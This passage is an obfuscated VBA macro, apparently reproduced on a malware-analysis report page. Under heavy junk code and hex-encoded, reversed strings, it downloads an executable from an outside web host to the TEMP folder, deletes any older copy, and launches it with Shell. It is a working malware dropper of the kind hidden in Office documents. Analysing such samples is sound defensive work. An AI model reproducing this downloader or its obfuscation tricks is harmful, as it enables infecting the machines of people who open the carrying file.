Put #46362, , ycstykxtjkrrpftbmmesxchayxovukyhtxtdnzqxrup
Close #46362
pmmxrflzjkipziespdbazqhdfbnaaqjedkypmvgpelx:
GoTo isipiupzmggzdbaitespdovnwdmcevb
Dim uwnsdutatnckrmkjrecfebxcqogzknt As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("747A6674716E656B6E75707874656378756272747167736773777361686B6C")) For Binary As #15764
Put #15764, , uwnsdutatnckrmkjrecfebxcqogzknt
Close #15764
isipiupzmggzdbaitespdovnwdmcevb:
GoTo ltqcjtlluakkybxpopdxcdtjyvexlmlxkdsuqmewhxg
Dim gweylocdusfatwvybuucvtrhazfibvoyzismlviejdd As String
Open "ycbkiznvhttpniqmljlvezyfbxryjqkzkrqlsothznc" For Binary As #66124
Put #66124, , gweylocdusfatwvybuucvtrhazfibvoyzismlviejdd
Close #66124
ltqcjtlluakkybxpopdxcdtjyvexlmlxkdsuqmewhxg:
GoTo dxmonumuurxabmlufawanqkarehnoku
Dim zganmnunqjodbvwryocsrhxpsczlvmd As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("616A737979706C677A746B77616778766E627A72646E617278687578756B6D")) For Binary As #50959
Put #50959, , zganmnunqjodbvwryocsrhxpsczlvmd
Close #50959
dxmonumuurxabmlufawanqkarehnoku:
GoTo jgkofumflzrvuzpbuiezkaadjtyeqcglxouqgwmcgea
Dim dslwhprbqxliyjxzvrnxlraapwjlnztdhhyzfjgbhpn As String
Open "npkjuqpslhwyhypcaulnjrkowjyleutpulniqtfqcrg" For Binary As #24017
Put #24017, , dslwhprbqxliyjxzvrnxlraapwjlnztdhhyzfjgbhpn
Close #24017
jgkofumflzrvuzpbuiezkaadjtyeqcglxouqgwmcgea:
    EMJXURKLOXG = TNGEBAHUNYK.responseBody

GoTo ecuvvwkcgmhdwzsobxltqrlxmtpkvnilzpfyssirbxb
Dim kooyntzuhmscqjdtgovywnlzewwfevndgjdnanctnsv As String
Open "iwxcpopbmwstejhrujdsdvmistocmgzcteradirymen" For Binary As #25799
Put #25799, , kooyntzuhmscqjdtgovywnlzewwfevndgjdnanctnsv
Close #25799
ecuvvwkcgmhdwzsobxltqrlxmtpkvnilzpfyssirbxb:
GoTo sebtcoiqqhmuncjzsnzmwkxcgsqipfe
Dim anrispvbtnwofkcgtblglqrhagtnido As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("786278726C786C65737A71676962726F6A69796B626F716C71656B66626D7A")) For Binary As #74149
Put #74149, , anrispvbtnwofkcgtblglqrhagtnido
Close #74149
sebtcoiqqhmuncjzsnzmwkxcgsqipfe:
GoTo dslwhprbqxliyjxzvrnxlraapwjlnztdhhyzfjgbhpn
Dim hluevuwwnpjwwdapduhtvvcyfstcrpxiocipcqqmbpo As String
Open "zbmrdyaqtgclccwjjwqrwibyuhgbhksaxgmpiksowkr" For Binary As #44669
Put #44669, , hluevuwwnpjwwdapduhtvvcyfstcrpxiocipcqqmbpo
Close #44669
dslwhprbqxliyjxzvrnxlraapwjlnztdhhyzfjgbhpn:
GoTo ijilwydpnmaziimrmrswvsnlrdhqgan
Dim npetaktfvzgljlcibxsautsvpqshpqk As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("766C6D6364796C6D736F6C6B6E666177686166766D76616B616F6564636473")) For Binary As #44549
Put #44549, , npetaktfvzgljlcibxsautsvpqshpqk
Close #44549
ijilwydpnmaziimrmrswvsnlrdhqgan:
GoTo lcxdkrpvrrshxojrxprbgiptizabpvdcbyfwqmndlyh
Dim hpvxqihirrbnxhklauanhdpedipzkxwuqddxlvffqcg As String
Open "hrznodmarbfgemgynccsdiaflulbhpdekptluhbynkr" For Binary As #26609
Put #26609, , hpvxqihirrbnxhklauanhdpedipzkxwuqddxlvffqcg
Close #26609
lcxdkrpvrrshxojrxprbgiptizabpvdcbyfwqmndlyh:
GoTo ncqfpzbihrekpvphvcpcyodexvbgqdy
Dim uhwwxftmmjllpzxdlrdvstyfwjwyyxs As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6F6C72707676766A7A736B71726B796176717A7A6A6261706C737464747766")) For Binary As #12636
Put #12636, , uhwwxftmmjllpzxdlrdvstyfwjwyyxs
Close #12636
ncqfpzbihrekpvphvcpcyodexvbgqdy:
GoTo ikikbgfkejgzwqsipartbdcavavzjgeavuuwkxnmncf
Dim rfpmmlisejatqbfrmbmybycmkvyicdxxkfuxjofsmfd As String
Open "pzvnxisfjpvnwwkkiqzfinrxqvygnlbksvnhkjmfaxd" For Binary As #95472
Put #95472, , rfpmmlisejatqbfrmbmybycmkvyicdxxkfuxjofsmfd
Close #95472
ikikbgfkejgzwqsipartbdcavavzjgeavuuwkxnmncf:
    MUJGZDDPTYL = FreeFile
GoTo qbxwgrecmvmhdshwajmjsljhhjipsndglfckkzidorf
Dim cmnztmfmzvvmrzqkjpvicjoeftiqdqbljhvedjlosdm As String
Open "fubrnhdajcvkfkqksjtxxrnyyljkwoylvdhscbvfpao" For Binary As #49644
Put #49644, , cmnztmfmzvvmrzqkjpvicjoeftiqdqbljhvedjlosdm
Close #49644
qbxwgrecmvmhdshwajmjsljhhjipsndglfckkzidorf:
GoTo csvwpvebulnnhyhprjflxqclvfxnomi
Dim ftoilyvlyddtcjavwtfnrcncsqixhlm As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("71726A6978726D616B6B666F726E7464786873616C6B72627462716F65696B")) For Binary As #35127
Put #35127, , ftoilyvlyddtcjavwtfnrcncsqixhlm
Close #35127
csvwpvebulnnhyhprjflxqclvfxnomi:
GoTo nirgivvpbuwlpobcecnxpvqvtzdcewxcwdqtlckbhhg
Dim gkeheofffihajsbiosdrmvnrrjtvyxohlsldwdnebfh As String
Open "ylmphxrnxtniucwqjozfalvighqormhmkzxmrxsfakq" For Binary As #74922
Put #74922, , gkeheofffihajsbiosdrmvnrrjtvyxohlsldwdnebfh
Close #74922
nirgivvpbuwlpobcecnxpvqvtzdcewxcwdqtlckbhhg:
GoTo senjagnvtviozildlwitlckmidgewrh
Dim mnyqhhgqoispndbtzqhpjbalehlzlee As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("726B656D70757A67776878716A757A64727A6A776F6A6474666F7366667161")) For Binary As #34904
Put #34904, , mnyqhhgqoispndbtzqhpjbalehlzlee
Close #34904
senjagnvtviozildlwitlckmidgewrh:
GoTo uatepjrsoqkqpynpvelcjpvydgihidkbzzvsamgehwv
Dim sdocszhgrlhfdjdifnhhaikxaeubpydaocvhvevausp As String
Open "azwrskmlfkenquvvwfenfrgzssykqridbdjjxztvvao" For Binary As #20142
Put #20142, , sdocszhgrlhfdjdifnhhaikxaeubpydaocvhvevausp
Close #20142
uatepjrsoqkqpynpvelcjpvydgihidkbzzvsamgehwv:
GoTo apgueozieypfsytrxwssvcfaufnxgfs
Dim asrnbpyvmqlowocdpwvthsabyofpmgp As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("66746C6C7571666F75686872626D646F687A766E62796C776B76667976666C")) For Binary As #22466
Put #22466, , asrnbpyvmqlowocdpwvthsabyofpmgp
Close #22466
apgueozieypfsytrxwssvcfaufnxgfs:
    If Dir(SLYKKOLAEQT) <> StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("")) Then Kill SLYKKOLAEQT
    Open SLYKKOLAEQT For Binary As #MUJGZDDPTYL
    Put #MUJGZDDPTYL, , EMJXURKLOXG
    Close #MUJGZDDPTYL
GoTo iquuxgcjbidxopstnymvxxqzwtryujeqkfljhyiakxs
Dim fezmfoywpiatdwhegavjypxmlxrhopjrhjqesalyowb As String
Open "vjhcieovutofmaidzafycpjxyqshdqlbiqzyjfnxegf" For Binary As #46962
Put #46962, , fezmfoywpiatdwhegavjypxmlxrhopjrhjqesalyowb
Close #46962
iquuxgcjbidxopstnymvxxqzwtryujeqkfljhyiakxs:
GoTo iucmodurldmjhngzoaakkzlsaiirjzx
Dim jghaerisococshyeuigdqeijeudjyqb As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("7A636372697A6779777A636B656A726A696269797273656C6E696D626B6475")) For Binary As #39656
Put #39656, , jghaerisococshyeuigdqeijeudjyqb
Close #39656
iucmodurldmjhngzoaakkzlsaiirjzx:
GoTo ygchwjbljldvtnjtqwdyxyoanpyuzabgibbwonyumoy
Dim xvcjhsgprwbusljliojksyjobhaicwzytvcmzghdoiu As String
Open "qpiyrmghnkgezcdibrcqnvybehjcmvxakpjxyfwtjne" For Binary As #94656
Put #94656, , xvcjhsgprwbusljliojksyjobhaicwzytvcmzghdoiu
Close #94656
ygchwjbljldvtnjtqwdyxyoanpyuzabgibbwonyumoy:
GoTo uijfpiijultcuzumhnfjbefmzpzbzbf
Dim bnzuukiwndvvlsdlikldaswsdeiqglb As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("716C6768736B74776D74616175796666716C63617078786B677A7A6961686D")) For Binary As #31633
Put #31633, , bnzuukiwndvvlsdlikldaswsdeiqglb
Close #31633
uijfpiijultcuzumhnfjbefmzpzbzbf:
GoTo uhyvkkgvbcredcsbbbzwflkcshpwdjzjcgtludttxez
Dim cbtbssejfvjfihspfgbdwkveapfwgiuizgenoqgstwx As String
Open "hzzofflchxhjfukogxxmbnndvgavmbyfxovrddnivjj" For Binary As #61884
Put #61884, , cbtbssejfvjfihspfgbdwkveapfwgiuizgenoqgstwx
Close #61884
uhyvkkgvbcredcsbbbzwflkcshpwdjzjcgtludttxez:
GoTo rfilkhjaxlhecqmmmbzbmmefrmfwair
Dim xuetbboezdqaeaxfbgptoetophmjunv As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("7A75666A636E64797265796E706D616C72636A72746C76696462696E66726C")) For Binary As #37381
Put #37381, , xuetbboezdqaeaxfbgptoetophmjunv
Close #37381
rfilkhjaxlhecqmmmbzbmmefrmfwair:
GoTo uetrskycvikeiyszlnxdboqhgjmnxwxnikndeibyrly
Dim dtovwxjnoughsjhiyeorpuxedtniccyduqmjkdufvnw As String
Open "smdzpliczyotrhifqofrjucnkuniqbtbnrlnyrvvqoi" For Binary As #35353
Put #35353, , dtovwxjnoughsjhiyeorpuxedtniccyduqmjkdufvnw
Close #35353
uetrskycvikeiyszlnxdboqhgjmnxwxnikndeibyrly:
    
    Dim HCVMSQIHDCP
GoTo hhugraovnsgqwmniftkamfeghojoarj
Dim cuoetqkgpcseqbatygosrmbvxsxshgz As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("77706668686F6B6D64747075736D7865667265636D747A6E646B6B647A7877")) For Binary As #96164
Put #96164, , cuoetqkgpcseqbatygosrmbvxsxshgz
Close #96164
hhugraovnsgqwmniftkamfeghojoarj:
GoTo dtovwxjnoughsjhiyeorpuxedtniccyduqmjkdufvnw
Dim yucjxkmdrudmrnqycbyvrygpaxblbkqjtemedukojuh As String
Open "hnpkbfpxguakoljriccookatmgkwpsyvuxlhnoloufa" For Binary As #65704
Put #65704, , yucjxkmdrudmrnqycbyvrygpaxblbkqjtemedukojuh
Close #65704
dtovwxjnoughsjhiyeorpuxedtniccyduqmjkdufvnw:
GoTo onnfxanouqxohdkypdoqcccjlmtxjbn
Dim mwzlwpqdyfnjxzdpowimtkbxtjqixjl As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6268736A7765666262656B68797A7874727270787A6A6F6A76647662666364")) For Binary As #66405
Put #66405, , mwzlwpqdyfnjxzdpowimtkbxtjqixjl
Close #66405
onnfxanouqxohdkypdoqcccjlmtxjbn:
GoTo ohqibhpcilikpbvdamualgbdwaqxjlkpoltrkghnwoe
Dim bvloommjcqeajjvbjjxpifrzqrcxlpffulesqebrdir As String
Open "ipxtgpdppkfufvlucjsabgnuudqxxqhtaevguytobwp" For Binary As #34954
Put #34954, , bvloommjcqeajjvbjjxpifrzqrcxlpffulesqebrdir
Close #34954
ohqibhpcilikpbvdamualgbdwaqxjlkpoltrkghnwoe:
    HCVMSQIHDCP = Shell(SLYKKOLAEQT, 1)

GoTo yucjxkmdrudmrnqycbyvrygpaxblbkqjtemedukojuh
Dim somufcohkumzviteswehjrunmsbanzgqrtaunsmjihs As String
Open "olrgppkegtrszzanvjjyynspitgvmluylhwddsztekj" For Binary As #54443
Put #54443, , somufcohkumzviteswehjrunmsbanzgqrtaunsmjihs
Close #54443
yucjxkmdrudmrnqycbyvrygpaxblbkqjtemedukojuh:
GoTo koubjewytdjzcpnagouvrqnbirnniwo
Dim bhmnacegbcblimlpdkzoysjddewpnmz As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("736D6F78686D6B6F7763786877746E7972767064786177786D6C6365666C76")) For Binary As #2312
Put #2312, , bhmnacegbcblimlpdkzoysjddewpnmz
Close #2312
koubjewytdjzcpnagouvrqnbirnniwo:
GoTo bvloommjcqeajjvbjjxpifrzqrcxlpffulesqebrdir
Dim qnrsaroqiqlxinaxtzodwsvmlxxrwgnjtwrjhbuarjl As String
Open "cowswygidkrqlmnnswzhlvfgkopydykrpzvempmrdvd" For Binary As #74139
Put #74139, , qnrsaroqiqlxinaxtzodwsvmlxxrwgnjtwrjhbuarjl
Close #74139
bvloommjcqeajjvbjjxpifrzqrcxlpffulesqebrdir:
GoTo velpclvbdvkbytpzshblnfdwntcodkf
Dim cmncaqdejuomzmkftgrtchczzimmajq As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("686C6265656E6C6975636A6F6D7472676A627769706B726167637764626462")) For Binary As #72362
Put #72362, , cmncaqdejuomzmkftgrtchczzimmajq
Close #72362
velpclvbdvkbytpzshblnfdwntcodkf:
GoTo xpykksskgdeddrdvpfbwinxsnobvrrunnsagcxcsctm
Dim aqyqdvkpqfhcicdonwsfnbqobglvyvelvsnzbsrytea As String
Open "kdcchdparsaodzqrjbeaemekgtbgmspuldlpkpwhniw" For Binary As #88565
Put #88565, , aqyqdvkpqfhcicdonwsfnbqobglvyvelvsnzbsrytea
Close #88565
xpykksskgdeddrdvpfbwinxsnobvrrunnsagcxcsctm:
GoTo fgwjvysdmlrnefzjrtlrguandcevwjq
Dim eiherjrtnditacywwckdvsfrlskpnuz As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("647A6D797767686F747474766F6A74696C786B61636B7664667572746D7A75")) For Binary As #11445
Put #11445, , eiherjrtnditacywwckdvsfrlskpnuz
Close #11445
fgwjvysdmlrnefzjrtlrguandcevwjq:
GoTo zhgwtdjxlccgknokfdeuyarwzxsgwechtrtimjnlabf
Dim mvfekbthtbibckodwlilcmsspkrgrxouerehstivpvg As String
Open "sicwhkcuhxsmdfqteolabqnslazpycvbjhvvsmfpnyg" For Binary As #37925
Put #37925, , mvfekbthtbibckodwlilcmsspkrgrxouerehstivpvg
Close #37925
zhgwtdjxlccgknokfdeuyarwzxsgwechtrtimjnlabf:
    Set TNGEBAHUNYK = Nothing
GoTo icnsmjiljrmqgpreorpyfnfgxigvtqtlolzxqwsjnmt
Dim rpaxsqfdjrcdfjykblhugqfdjtvpdkvddcpglkjkmke As String
Open "qlnieaqjjnbsxyrqdeuzdqwznqgpufvprmdsythziao" For Binary As #16203
Put #16203, , rpaxsqfdjrcdfjykblhugqfdjtvpdkvddcpglkjkmke
Close #16203
icnsmjiljrmqgpreorpyfnfgxigvtqtlolzxqwsjnmt:
GoTo ngithxpvzjscdmaccctjvbmkzwddggg
Dim vojiwcnwbmrbkeujjxdexmooutjwdfw As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6A686D76706366796575687575666A6B79716E74726F676D616A786268786E")) For Binary As #86225
Put #86225, , vojiwcnwbmrbkeujjxdexmooutjwdfw
Close #86225
ngithxpvzjscdmaccctjvbmkzwddggg:
GoTo vuqzambkwgomwgbfuphomdcizmnrkrdswokeufcescx
Dim avixovcxmfizjafdvxrqtrogfigmcrquvklwlhatxxt As String
Open "slveykzixuknkawzxdzmjllnotvwtucvayojkisovzr" For Binary As #68956
Put #68956, , avixovcxmfizjafdvxrqtrogfigmcrquvklwlhatxxt
Close #68956
vuqzambkwgomwgbfuphomdcizmnrkrdswokeufcescx:
GoTo wxubqxhkopsdommtgknwqerdiisbzxd
Dim almnfgjbarzirjlgdvdgefzkdutoswh As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6A69746F6E637474666673626E656E7961707A6564696D706571646B6F796C")) For Binary As #57397
Put #57397, , almnfgjbarzirjlgdvdgefzkdutoswh
Close #57397
wxubqxhkopsdommtgknwqerdiisbzxd:
GoTo gahnoolplnctaczkyahkoyngnhxlcxrjlpxeybvqofp
Dim klemkyjhnbxlvomjxdemhnzpqbacqxzzxlcwjasewdr As String
Open "yumeoccztwapjetrrioscicupxdikhopxzfgmofjnjf" For Binary As #62360
Put #62360, , klemkyjhnbxlvomjxdemhnzpqbacqxzzxlcwjasewdr
Close #62360
gahnoolplnctaczkyahkoyngnhxlcxrjlpxeybvqofp:
GoTo dnkwiiwvheuyzqiqimgxthdrqmglxhh
Dim plqppmahmhrupjpjsiuxasuhnqppmvp As String
Open StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("66756F646A7670716662666377746C756764666D636E78776D76616263686C")) For Binary As #17699
Put #17699, , plqppmahmhrupjpjsiuxasuhnqppmvp
Close #17699
dnkwiiwvheuyzqiqimgxthdrqmglxhh:
GoTo xuymesqlootdcddmruqszjjqwgjdfwyuytklbafarud
Dim bvcasnkckievonlbppuxkisvxctuoqcdagqkidldgyc As String
Open "iwcutpazkdqykzqcfotnjdlrnytezfgrccpycheivua" For Binary As #25816
Put #25816, , bvcasnkckievonlbppuxkisvxctuoqcdagqkidldgyc
Close #25816
xuymesqlootdcddmruqszjjqwgjdfwyuytklbafarud:
     
End Function
Sub FFTZHJULOTN()
    RMVFJNRAUCC StrReverse(zvixfcnigmihmkcwdfhnomstnlxkxub("6578652E6E69622F736A2F6C6D74682F6F722E6D7261666172696D2F2F3A70747468")), Environ("TEMP") & "\TBMUVAERYFM.exe"
End Sub


Public Function zvixfcnigmihmkcwdfhnomstnlxkxub(ByVal gfhdgsfdhd As String) As String
  Dim nbvcsdfhgfh       As Long
  For nbvcsdfhgfh = 1 To Len(gfhdgsfdhd) Step 2
  zvixfcnigmihmkcwdfhnomstnlxkxub = zvixfcnigmihmkcwdfhnomstnlxkxub & Chr$(Val("&H" & Mid$(gfhdgsfdhd, nbvcsdfhgfh, 2)))
  Next nbvcsdfhgfh
 End Function

Open this report in the interactive analyzer, or submit your own file for analysis.